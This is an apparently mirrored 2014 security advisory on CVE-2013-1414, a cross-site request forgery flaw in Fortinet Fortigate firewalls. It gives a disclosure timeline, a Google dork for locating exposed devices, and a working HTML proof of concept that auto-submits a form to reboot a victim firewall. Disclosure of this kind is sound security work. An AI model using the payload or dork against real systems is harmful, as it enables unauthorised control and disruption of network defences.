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Fortigate Firewalls - CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 63 Views

Fortigate Firewalls - CSRF Vulnerability, allows unauthorized modification of settings and potential control over the firewall. Requires known IP and authenticated connection. Fixed in versions 4.3.13 and 5.0.2

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Rows per page

                                                Vulnerability ID: CVE-2013-1414
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Product: All Fortigate Firewalls
Vendor: Fortinet http://www.fortinet.com
Vulnerable Version: &#60; 4.3.13 &  &#60; 5.0.2
 
Description
==========
Because many  functions are not protected by CSRF-Tokens, it&#39;s possible (under certain conditions) to modify System-Settings, Firewall-Policies or take control over the hole firewall.
 
Requirements
===========
An Attacker needs to know the IP of the device.
An Administrator needs an authenticated connection to the device.
 
 
Report-Timeline:
================
Vendor Notification: 11 July 2012
Vendor released version 5.0.2   / 18 March 2013
Vendor released version 4.3.13 / 29 April 2013
Status: Fixed
 
Google Dork:
==========
 -english -help -printing  -companies -archive  -wizard -pastebin -adult -keywords &#34;Warning: this page requires Javascript. To correctly view, please enable it in your browser&#34;
 
 
Credit:
=====
Sven Wurth     [email protected]
 
 
PoC
====
 
This  Example will reboot a Fortinet Firewall.
This is just one of many possibilities to attack this vulnerability.
 
##### CSRF - Proof Of Concept ####
&#60;html&#62;
&#60;body onload=&#34;submitForm()&#34;&#62;
&#60;form name=&#34;myForm&#34; id=&#34;myForm&#34;
                action=&#34;https://###_VICTIM_IP_###/system/maintenance/shutdown&#34; method=&#34;post&#34;&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;reason&#34; value=&#34;&#34;&#62;
                &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;1&#34;&#62;
                &#60;input type=&#34;submit&#34; name=&#34;add&#34; value=&#34;rebootme&#34;&#62;
&#60;/form&#62;
&#60;script type=&#39;text/javascript&#39;&#62;document.myForm.submit();&#60;/script&#62;
&#60;/html&#62;
##### End Poc #####
                              

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